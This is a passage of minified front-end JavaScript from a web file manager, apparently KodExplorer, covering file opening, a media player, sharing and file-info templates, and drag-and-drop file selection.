input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+i.group+"]").attr("selected",!0);break;default:}E(n)},F=function(){core.appStore()},O=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(i){var t=i.data;Tips.close(i);var a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:t,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+t);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:D,appList:F,appAddURL:O,share:u,shareBox:f,setBackground:v,createLink:_,createProject:g,newFile:r,newFolder:l,rname:c,unZip:N,zipDownload:w,zip:L,copy:p,cute:b,info:x,remove:d,cuteDrag:C,copyDrag:T,past:y,clipboard:S,fav:z,favRemove:j}}),define("app/common/tpl/share.html",[],'
    \n
    \n
    {{LNG.share_title}}
    \n \n
    \n
    \n
    \n {{LNG.share_path}}:\n \n
    \n
    \n
    \n {{LNG.share_name}}:\n \n \n \n \n \n
    \n
    \n\n \n\n \n
    \n \n
    \n'),define("app/common/tpl/fileinfo/file_info.html",[],"
    \n {{if download_path}}\n
    \n
    {{LNG.download_address}}:
    \n
    \n \n
    \n \n \n
    \n
    \n
    \n
    \n {{/if}}\n\n
    \n
    \n
    {{LNG.address}}:
    \n
    {{path |window.htmlEncode}}
    \n
    \n
    \n
    \n
    {{LNG.size}}:
    \n
    {{size_friendly}} ({{size}} Byte)
    \n
    \n
    \n\n {{if file_md5}}\n
    \n
    MD5:
    \n
    {{file_md5}}
    \n
    \n
    \n {{/if}}\n\n {{if image_size}}\n
    \n
    {{LNG.image_size}}:
    \n
    {{image_size.width}} × {{image_size.height}}
    \n
    \n
    \n {{/if}}\n\n
    \n
    \n
    {{LNG.create_time}}
    \n
    {{ctime}}
    \n
    \n
    \n
    \n
    {{LNG.modify_time}}
    \n
    {{mtime}}
    \n
    \n
    \n
    \n
    {{LNG.last_time}}
    \n
    {{atime}}
    \n
    \n
    \n\n \n
    \n
    \n
    {{LNG.permission}}:
    \n
    {{mode}}
    \n
    \n
    \n {{if is_root==\"1\"}}\n
    \n
    {{LNG.permission_edit}}:
    \n
    \n
    \n
    \n
    \n {{/if}}\n
    \n"),define("app/common/tpl/fileinfo/path_info.html",[],"
    \n
    \n
    {{LNG.address}}:
    \n
    {{path |window.htmlEncode}}
    \n
    \n
    \n
    \n
    {{LNG.size}}:
    \n
    {{size_friendly}} ({{size}} Byte)
    \n
    \n
    \n
    \n
    {{LNG.contain}}:
    \n
    {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
    \n
    \n
    \n
    \n
    \n
    {{LNG.create_time}}
    \n
    {{ctime}}
    \n
    \n
    \n
    \n
    {{LNG.modify_time}}
    \n
    {{mtime}}
    \n
    \n
    \n
    \n
    {{LNG.last_time}}
    \n
    {{atime}}
    \n
    \n
    \n
    \n
    \n
    {{LNG.permission}}:
    \n
    {{mode}}
    \n
    \n
    \n {{if is_root==\"1\"}}\n
    \n
    {{LNG.permission_edit}}:
    \n
    \n
    \n
    \n
    \n {{/if}}\n
    \n"),define("app/common/tpl/fileinfo/path_info_more.html",[],"
    \n
    \n
    {{LNG.info}}:
    \n
    \n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
    \n
    \n
    \n
    \n
    \n
    {{LNG.size}}:
    \n
    {{size_friendly}} ({{size}} Byte)
    \n
    \n
    \n \n
    \n
    \n
    {{LNG.permission}}:
    \n
    {{mode}}
    \n
    \n
    \n {{if is_root==\"1\"}}\n
    \n
    {{LNG.permission_edit}}:
    \n
    \n
    \n
    \n
    \n {{/if}}\n
    \n"),define("app/common/tpl/app_edit.html",[],"
    \n
    \n
    {{LNG.name}}
    \n
    \n
    \n
    \n
    \n
    {{LNG.app_desc}}
    \n
    \n
    \n
    \n
    \n
    {{LNG.app_icon}}
    \n
    \n \n
    \n
    \n
    \n
    \n
    {{LNG.app_group}}
    \n
    \n
    \n
    \n
    \n
    {{LNG.app_type}}
    \n
    \n \n \n \n \n \n \n
    \n
    \n
    \n
    \n
    {{LNG.app_display}}
    \n
    \n \n \n \n \n
    \n
    \n
    \n
    \n
    {{LNG.app_size}}
    \n
    \n ({{LNG.width}})  \n ({{LNG.height}})\n\n \n \n
    \n
    \n
    \n
    \n \n \n
    {{LNG.app_url}}
    \n
    \n
    \n
    \n
    \n"),define("app/common/pathOpen",["./myPlayer"],function(e){var i=function(e,i){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0; +if("folder"==i)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=i){if(i=core.pathExt(e),"swf"==i)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if("url"==i)return core.fileGet(e,function(i){var t=i.match(/URL=(.*)/);t.length>=2?window.open(t[1]):s(e)}),void 0;if("webloc"==i)return core.fileGet(e,function(i){try{var t=$($.parseXML(i)),a=t.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==i||"htm"==i){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,i)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,i)||inArray(core.filetype.movie,i)){var a=core.path2url(e,!1);return d(a,i),void 0}return"pdf"==i?(core.fileLink(e,function(t){var a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(t);if(canvasSupport())core.openDialog(a,core.icon(i),htmlEncode(core.pathThis(e)));else{var n="pdf"+UUID(),o='";$.dialog({resize:!0,fixed:!0,ico:core.icon(i),title:core.pathThis(e),width:800,height:400,padding:0,content:o}),new PDFObject({url:t}).embed(n)}}),void 0):inArray(core.filetype.doc,i)?(l(e),void 0):inArray(core.filetype.text,i)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(i+LNG.edit_can_not,!1):t(e,""),void 0)}if("string"==typeof e){var n=e;"string"!=typeof e&&(n=e.content.split("'")[1]),core.fileGet(n,function(e){var i=jsonDecode(e);i.name=core.pathThis(n),core.openApp(i)})}else core.openApp(e)}},t=function(e,i){var t='
    '+LNG.unknow_file_tips+"
    "+i+"

    "+' "+LNG.edit+"  "+' "+LNG.unknow_file_download+"
    ";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:t,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),$('').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i="index.php?explorer/fileDownload&path="+urlEncode(e);G.share_page!==void 0&&(i="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),a(i)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.path2url(e);window.open(i)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,t)?(l(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,t)||inArray(core.filetype.music,t)||inArray(core.filetype.image,t)||inArray(core.filetype.movie,t)||inArray(core.filetype.doc,t)?(i(e,t),void 0):(r(e),void 0))}},r=function(e){var i=ShareData.frameTop();if(i.Editor!==void 0)return i.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(i){i.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var t=i.$.dialog.list.openEditor,a=0;t&&("hidden"==$("."+t.config.id).css("visibility")&&(a=200),t.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(i){i.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e)),core.openDialog(n,core.icon("edit"),htmlEncode(e),"openEditor")}},l=function(e,i){var t="./index.php?explorer/officeView&path="+urlEncode(e);G.share_page!==void 0&&(t=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),i!==void 0&&(t+="&is_edit=1"),core.openDialog(t,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e)))},c=function(i,t){if(i){"string"==typeof i&&(i=[i]);var a=e("./myPlayer");a.play(i,t)}},d=function(e,i){var t=ShareData.frameTop();t.ui.pathOpen.playerInstance(e,i)};return{open:i,playerInstance:c,play:d,openEditor:s,openEditorForce:r,openWindow:o,downloadUrl:a,download:n}}),define("app/common/myPlayer",[],function(e){var i="",t="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=i,l={width:"70%",height:"60%"};e==a&&(s=t,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var i=r(e);i.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var i="."+e+"_dialog",t=$(i);return 0==t.length?!1:t.find(".jPlayer-container")},l=function(e,i){i&&"music"!=i||(i=core.pathExt(e));var t={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},a=t[i],n={extType:a,title:core.pathThis(urlDecode(e)),url:e,solution:"flv"==i||"f4v"==i?"flash":"html,flash"};return n[a]=e,n},c=function(e,i){if(i){var t=e.parents(".jPlayer"),a={solution:i.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};t.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(t,a)),e.find("object").length>0?t.addClass("flashPlayer"):t.removeClass("flashPlayer"),e.jPlayer("setMedia",i),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(t),setTimeout(function(){var e=t.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(i.title)},100)}},d=function(e,i){var t=s(i),n=r(t),d=l(e[0],i);n||(n=o(t),t==a&&p.init()),t==a&&(d=p.insert(n,e,i)),c(n,d);try{$.dialog.list[t+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],i=0,t=null,a="circle",n=function(a,n){t=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r]){c=!0;break}if(c){if(r==n.length-1)return i!=d&&o(d),!1}else{var p=core.pathExt(n[r]);inArray(core.filetype.music,p)&&e.push(l(n[r],p))}}return e.length==s?!1:(i=e.length-1,u(!0),e[i])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,i=a;var n=e[a];c(t,n),u(!1)},s=function(t){switch(a){case"circle":"next"==t?e.length-1>i?o(i+1):o(0):0>i-1?o(e.length-1):o(i-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(i);break;default:}},r=function(i){e.remove(i),o(i),u(!0)},d=function(i){var t=e[i],a=t.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){i=0,e=[],a="circle";var t=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];t.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var i=n[e];$(this).attr("data-loop",e).find("i").attr("class",i.icon),a=i.loop}),t.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),t.find(".play-forward").unbind("click").bind("click",function(){s("next")}),t.find(".show-list").unbind("click").bind("click",function(e){t.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),t.find(".play-list .item").die("click").live("click",function(e){var i=$(this).index();o(i),stopPP(e)}),t.find(".play-list .remove").die("click").live("click",function(e){var i=$(this).parents(".item"),t=i.index();return i.remove(),r(t),stopPP(e),!1}),t.find(".play-list .download").die("click").live("click",function(e){var i=$(this).parents(".item").index();return d(i),stopPP(e),!1})},u=function(a){var n=$(t).parents(".jPlayer");if(a){var o="";$.each(e,function(e,i){o+='
  • '+i.title+'
  • '}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[i]?(n.find(".item-title").html(e[i].title),n.find(".item").removeClass("this"),n.find(".item:eq("+i+")").addClass("this"),f(n.find(".player-bg")),void 0):(i=0,n.find(".item-title").html("  "),t.jPlayer("destroy"),t.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var i=h(),t=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+i+", "+t+"); background-image: -moz-linear-gradient("+a+", "+i+", "+t+"); background-image: -o-linear-gradient("+a+", "+i+", "+t+"); background-image: -ms-linear-gradient("+a+", "+i+", "+t+"); background-image: linear-gradient("+a+", "+i+", "+t+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a,o){var r=s(o);r==n?e.async(["lib/jPlayer/kod.flat/movie.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){i=e,d(a,o)}):e.async(["lib/jPlayer/kod.flat/music.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){t=e,d(a,o)})},f=function(i,t){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:i},ready:function(){t.jPlayer("setMedia",e.media).jPlayer("play")}};t.jPlayer("destroy").children().remove(),t.jPlayer(e)})};return{play:u,playSound:f}}),define("app/src/explorer/tpl/file_create.html",[],"
    \n {{if list_type=='list'}}{{/if}}\n
    \n \n {{if type=='folder'}}\n
    {{\"folder\" | core.icon}}
    \n {{else}}\n
    {{ext | core.icon}}
    \n {{/if}}\n
    \n {{if list_type=='icon'}}\n \n {{else}}\n \n {{/if}}\n
    \n
    \n
    \n
    \n
    \n"),define("app/src/explorer/fileLight",[],function(){var e=$(),i=$(),t=function(){var e;e="list_split"!=G.user_config.list_type?$(".bodymain .fileContiner .file"):$(".bodymain .fileContiner .split_select .file"),i=e,f("clear"),n()},a=function(){var i=$(Config.SelectClass);e=i,i.length>1&&c(i),f("menufile"),o()},n=function(){if(G.json_data&&G.json_data.filelist){var e=G.json_data.filelist.length+G.json_data.folderlist.length;$(".file_select_info .item_num").html(e+LNG.folder_info_item)}},o=function(){var i="",t=0,a=e;0!=a.length&&(i=a.length+LNG.folder_info_item_select,a.each(function(){t+=parseInt($(this).attr("data-size"))}),0!=t&&(i=i+" ("+core.fileSize(t)+")")),$(".file_select_info .item_select").html(i)},s=function(i){var t=e;if(void 0==i&&t&&t.length>=1&&(i=$(t[t.length-1])),void 0!=i&&!i.inScreen()){var a=$(".bodymain");"list_split"==G.user_config.list_type&&(a=i.parent());var n=i.offset().top-a.offset().top-a.height()/2+a.scrollTop();a.stop(!0).animate({scrollTop:n},100)}},r=function(e){return core.pathThis(h(e))},l=function(e){return e.find(".ico").attr("filetype")},c=function(e){if(G.json_data.info)switch(G.json_data.info.path_type){case G.KOD_USER_RECYCLE:return;case G.KOD_USER_FAV:return e.removeClass("menuFavPath").addClass("menuFavPathMore"),void 0;case G.KOD_USER_SHARE:if(-1==trim(G.this_path,"/").search("/"))return e.removeClass("menuSharePath").addClass("menuSharePathMore"),void 0;case G.KOD_GROUP_ROOT_SELF:case G.KOD_GROUP_ROOT_ALL:return e.removeClass("menuGroupRoot").addClass("menuGroupRootMore"),void 0;default:}e.removeClass("menufile menufolder").addClass("menuMore"),f()},d=function(e){var i={fileBox:"menufile",folderBox:"menufolder",menuRecyclePath:"menuRecyclePath",menuSharePathMore:"menuSharePath",menuFavPathMore:"menuFavPath",menuGroupRootMore:"menuGroupRoot",menuDefault:"menuDefault"};e.removeClass("menuMore");for(var t in i)e.hasClass(t)&&e.addClass(i[t]);f()},p=function(){var i=[];if(0!=e.length)return e.each(function(){i.push(h($(this)))}),i},u=function(){if(0!=e.length){var i=e;i.removeClass(Config.SelectClassName),i.each(function(){d($(this))}),e=$(),f(),o()}},f=function(){0==e.length?($(".drop-menu-action li").addClass("disabled"),$(".drop-menu-action #past").removeClass("disabled"),$(".drop-menu-action #info").removeClass("disabled"),$(".kod_path_tool #download").addClass("disabled")):($(".drop-menu-action li").removeClass("disabled"),$(".kod_path_tool #download").removeClass("disabled"),e.length>1?$(".drop-menu-action").find("#open,#rname,#past,#share,#createLink,#add_to_fav").addClass("disabled"):$(".drop-menu-action").find("#open,#rname,#past,#share,#createLink,#add_to_fav").removeClass("disabled"))},h=function(e,i){return void 0==i&&(i="data-path"),void 0!=e.attr("data-path-children")&&(i="data-path-children"),pathHashDecode(e.attr(i))};return{init:t,name:r,path:h,type:l,fileListSelect:function(i){return i&&(e=i),e},fileListAll:function(e){return e&&(i=e),i},select:a,setInView:s,setMenu:c,resumeMenu:d,getAllName:p,clear:u,menuAction:f}}),define("app/src/explorer/fileSelect",[],function(){var e=!1,i=!1,t=!1,a=function(){$(Config.FileBoxClass).die("touchstart").live("touchstart",function(){$(this).hasClass("select")?ui.path.open():(ui.fileLight.clear(),$(this).removeClass("select"),$(this).addClass("select"),ui.fileLight.select())});var a=function(e){!e.hasClass(Config.TypeFolderClass)&&!e.hasClass("menuRecycleButton")||e.hasClass(Config.SelectClassName)||($(".selectDragTemp").removeClass("selectDragTemp"),e.addClass("selectDragTemp"))},l=function(){};$(Config.FileBoxClass).die("mouseenter").live("mouseenter",function(){i&&a($(this)),e||i||$(this).addClass(Config.HoverClassName),l($(this)),$(this).unbind("mousedown").bind("mousedown",function(e){if($(e.target).is("input")||$(e.target).is("textarea"))return!0;if($(this).focus(),rightMenu.hidden(),$(e.target).parents(".children_more").length>0)return ui.fileContent.pathChildrenTree($(this)),stopPP(e),!1;if(!(e.ctrlKey||e.metaKey||e.shiftKey||$(this).hasClass(Config.SelectClassName)))return ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0;if(3!=e.which||$(this).hasClass(Config.SelectClassName)||(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select()),(e.ctrlKey||e.metaKey)&&($(this).hasClass(Config.SelectClassName)?t=!0:(ui.fileLight.setMenu($(this)),$(this).addClass(Config.SelectClassName)),ui.fileLight.select()),e.shiftKey){var i=h.fileListAll($(this)),a=h.fileListSelect($(this)),n=i.index($(this));if(0==a.length)x(0,n,i);else{var o=i.index(a.first()),s=i.index(a.last());o>n?x(n,s,i):n>s?x(o,n,i):x(o,n,i)}}return!0}).unbind("mouseup").bind("mouseup",function(){return $(".selectDragTemp").removeClass("selectDragTemp"),!0})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(Config.HoverClassName),i&&$(this).removeClass("selectDragTemp")}).die("click").live("click",function(e){return stopPP(e),i?!1:(0==$(this).find(".textarea").length&&0==$(".file-draging-box").length&&(e.ctrlKey||e.metaKey||e.shiftKey?(e.ctrlKey||e.metaKey)&&t&&(t=!1,ui.fileLight.resumeMenu($(this)),$(this).removeClass(Config.SelectClassName),ui.fileLight.select()):(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),r($(this)))),void 0)}).die("dblclick").live("dblclick",function(e){if(!($(e.target).is("textarea")||$(e.target).is("input")||$(e.target).hasClass("children_more")||$(e.target).hasClass("children_more_cert")))if(e.altKey)ui.path.info();else{if(1!=ui.fileLight.fileListSelect().length)return;if("list_split"==G.user_config.list_type&&s($(this))){var i=ui.fileLight.path($(this));return G.this_path="",$(".fileList_list_split .split_box").remove(),ui.path.list(i),void 0}ui.path.open()}}),n(),o(),$(Config.FileBoxTittleClass).die("dblclick").live("dblclick",function(e){var i=$(this).parents(".file");return i.hasClass("systemBox"),ui.path.rname(),stopPP(e),!1})},n=function(){var e;$("#folderList a").die("mouseenter").live("mouseenter",function(){if(i){$(this).hasClass("menuTreeFolder")&&$(this).addClass("curDropTreeNode"),clearTimeout(e),e=!1;var t=ui.tree.zTree(),a=t.getNodeByTId($(this).parent().attr("id"));!a.open&&a.isParent&&(e=setTimeout(function(){t.expandNode(a,!0)},600))}}).die("mouseup").live("mouseup",function(){if(i){$(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1;var t=ui.tree.zTree(),a=t.getNodeByTId($(this).parent().attr("id"));setTimeout(function(){a.isParent=!0,t.reAsyncChildNodes(a,"refresh")},100)}}).die("mouseleave").live("mouseleave",function(){i&&($(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1)})},o=function(){$(".header-middle .yarnlet a").die("mouseenter").live("mouseenter",function(){i&&$(this).addClass("curDropToPath")}).die("mouseup").live("mouseup",function(){i&&$(this).removeClass("curDropToPath")}).die("mouseleave").live("mouseleave",function(){i&&$(this).removeClass("curDropToPath")})},s=function(e){return"icon"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")?!0:!1:"list"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:"list_split"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:void 0},r=function(e){if("list_split"==G.user_config.list_type&&s(e)&&1==ui.fileLight.fileListSelect().length){var i=ui.fileLight.path(e);ui.path.history.add(i),ui.fileContent.pathChildrenSplit(i,function(){c(i)})}},l=function(){var e=".fileList_list_split .split_box",i="split_hover";$(e).live("mouseenter",function(){$(e).removeClass(i),$(this).addClass(i)}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(i)}).die("click").live("click",function(){c(ui.fileLight.path($(this)))}).die("mousedown").live("mousedown",function(e){var i=$(e.target).parents(".file");(0==i.length||0==i.find(".children_open").length)&&c(ui.fileLight.path($(this)))})},c=function(e){var i=$(".fileList_list_split .split_box"),t=$('.fileList_list_split .split_box[data-path="'+pathHashEncode(e)+'"]'),a=$('.fileList_list_split .split_box .file[data-path="'+pathHashEncode(e)+'"]'),n="split_select";0==t.length&&(t=i.last()),i.removeClass(n),t.addClass(n),0==ui.fileLight.fileListSelect().length&&a.addClass("select"),ui.fileLight.select();var o=t.data("jsonData");o&&e&&(ui.fileContent.pathTypeChange(o),G.this_path=e,G.json_data=o,ui.headerAddress.addressSet()),ui.fileLight.init()},d=function(e){return e.hasClass("menuSharePath")||e.hasClass("systemBox")?!1:!0},p=function(){var t,a,n,o=150,s=!1,r=!1,l=0,c=!1,p=-15,u=10,f=0,h=0,m="selectDragDraging";$(Config.FileBoxClass).die("mousedown").live("mousedown",function(i){if(!i.shiftKey){if(ui.isEdit())return!0;if(1!=i.which||e)return!0;t=$(this),d(t)&&(g(i),$.browser.mozilla||this.setCapture&&this.setCapture(),$(document).mousemove(function(e){b(e)}),$(document).keydown(function(e){b(e)}),$(document).keyup(function(e){b(e)}),$(document).one("mouseup",function(e){k(e),this.releaseCapture&&this.releaseCapture()}))}});var v,_,g=function(e){rightMenu.hidden(),i=!0,l=$.now(),f=e.pageY,h=e.pageX,a=$(document).height(),n=$(document).width(),r=$(e.target).parents(".file")},b=function(e){if(!i)return!0;if(window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),$.now()-l>o&&!c&&(w(),s=$(".draggable-dragging"),s.attr("data-beforeInfo",s.find("span").html())),c){var t=e.clientX>=n-50?n-50:e.clientX,r=e.clientY>=a-50?a-50:e.clientY;return t=0>=t?0:t,r=0>=r?0:r,t-=p,r-=u,s.css({left:t,top:r}),y(e),z(t-h+p,r-f+u),!0}},y=function(e){clearTimeout(v),v=!1,v=setTimeout(function(){try{x(e)}catch(i){}},10)},x=function(e){var i=e.ctrlKey||e.metaKey,t=function(e,i){G.sid!==void 0&&(e="none"),void 0!=i&&0!==i.search(G.KOD_GROUP_PATH)&&0!==i.search(G.KOD_USER_RECYCLE)&&core.isSystemPath(i)&&(e="clear");var t=htmlEncode(core.pathThis(i)),a=" "+s.attr("data-beforeInfo").replace(/<[^<>]+>/g,""),n={copy_to:''+LNG.copy_to+'"'+t+'"',move_to:''+LNG.cute_to+'"'+t+'"',remove:''+LNG.remove+a+"",share:''+LNG.share+a+"",none:''+LNG.no_permission_write+"",clear:s.attr("data-beforeInfo")};i==G.this_path&&(n.copy_to=''+LNG.clone+""),s.find("span").html(n[e]),s.attr("data-actionType",e),s.attr("data-actionPath",i)};if(0!=$(".selectDragTemp").length||0!=$(".curDropTreeNode").length||0!=$(".curDropToPath").length){var a=ui.fileLight.path($(".selectDragTemp"));if(0!=$(".curDropTreeNode").length){var n=ui.tree.zTree(),o=n.getNodeByTId($(".curDropTreeNode").parent().attr("id"));a=o.path}0!=$(".curDropToPath").length&&(a=$(".curDropToPath").attr("data-path")),$(".selectDragTemp").hasClass("menuRecycleButton")?t("remove"):i?t("copy_to",a):t("move_to",a)}else if(0!=$(".recycle_hover").length)t("remove");else if(0!=$(".share_hover").length&&1>=ui.fileLight.fileListSelect().length)t("share");else if(i){var a=G.this_path;"list_split"==G.user_config.list_type&&0!=$(".split_hover").length&&(a=ui.fileLight.path($(".split_hover"))),t("copy_to",a)}else"list_split"!=G.user_config.list_type||0==$(".split_hover").length||$(".split_hover").hasClass("split_select")?t("clear"):t("move_to",ui.fileLight.path($(".split_hover")))},k=function(){if(!i)return!1;if(i=!1,c=!1,$("body").removeClass(m),s){s.addClass("animated-300").addClass("flipOutXLine").fadeOut(200,function(){s.remove(),s=!1});var e=function(e,i){switch(e){case"copy_to":ui.path.copyDrag(i,!0);break;case"move_to":ui.path.cuteDrag(i);break;case"remove":ui.path.remove(!0);break;case"share":ui.path.share();break;default:}},t=s.attr("data-actionType");-1!=$.inArray(t,["copy_to","move_to","remove","share"])?P(!1):P(!0),e(t,s.attr("data-actionPath"))}},w=function(){$("body").addClass(m);var e=ui.fileLight.fileListSelect().length;$('
    '+e+'
    '+e+" "+LNG.file+"
    ").appendTo("body"),c=!0,setTimeout(j,20)},L=0,N=5,C=35,T=20,S=60,j=function(){clearTimeout($(".file-draging-box").data("removeDelay")),$(".file-draging .file").stop(),$(".file-draging-box").remove();var e={icon:"fileList_icon",list:"fileList_list",list_split:"fileList_list_split"},i=e[G.user_config.list_type];$("
    ").appendTo("body"),_=$(Config.SelectClass).filter("[data-path!='']");var t=_.clone();(_.length>=S||$.browser.msie)&&(t=r.clone()),t.appendTo(".file-draging"),t.each(function(e){var i=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']"),a=i.offset();$(this).css({left:a.left,top:a.top,width:i.width()}),$(this).data({"data-left":a.left,"data-top":a.top,"data-animateTime":200+e*N,"data-sizeAdd":L*e}),$(this).attr("data-path")==r.attr("data-path")&&$(this).addClass("handle_target"),1==t.length&&($(this).data({"data-animateTime":0}),T=0)}),_.addClass("item-file-draging");var a=setTimeout(function(){$(".file-draging-box").data("animate","finished");var e=$(".draggable-dragging");t.each(function(){var i=$(this),t=$(this).data("data-sizeAdd"),a=$(this).data("data-animateTime");$(this).data("status","ready"),$(this).animate({opacity:1},{duration:a,easing:"swing",progress:function(a,n){var o=i.offset(),s=e.offset(),r=(s.left+t-o.left)*n,l=(s.top+t+C-o.top)*n;i.css({left:o.left+r,top:o.top+l})},complete:function(){i.data("status","finished")}})})},T);$(".file-draging-box").data("dragDelay",a),$(".file-draging-box").data("animate","ready")},z=function(e,i){return"finished"!=$(".file-draging-box").data("animate")?($(".file-draging .file").each(function(){$(this).css({left:$(this).data("data-left")+e,top:$(this).data("data-top")+i})}),void 0):($(".file-draging .file").each(function(){if("finished"==$(this).data("status")){var e=$(this).data("data-sizeAdd"),i=$(".draggable-dragging").offset();$(this).css({left:i.left+e,top:i.top+e+C})}}),void 0)},P=function(e){var i=$(".file-draging .file").length;clearTimeout($(".file-draging-box").data("dragDelay")),$(".file-draging .file").each(function(i){var t=i*N,a=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']");e?$(this).stop().animate({left:$(this).data("data-left"),top:$(this).data("data-top")},250+t,function(){_.removeClass("item-file-draging")}).animate({opacity:0},150,function(){$(this).remove()}):(a.stop().animate({opacity:1},100),$(this).stop().animate({opacity:0},200+t,function(){$(this).remove()}))});var t=setTimeout(function(){$(".file-draging-box").remove()},400+N*i);$(".file-draging-box").data("removeDelay",t)}},u=function(){var 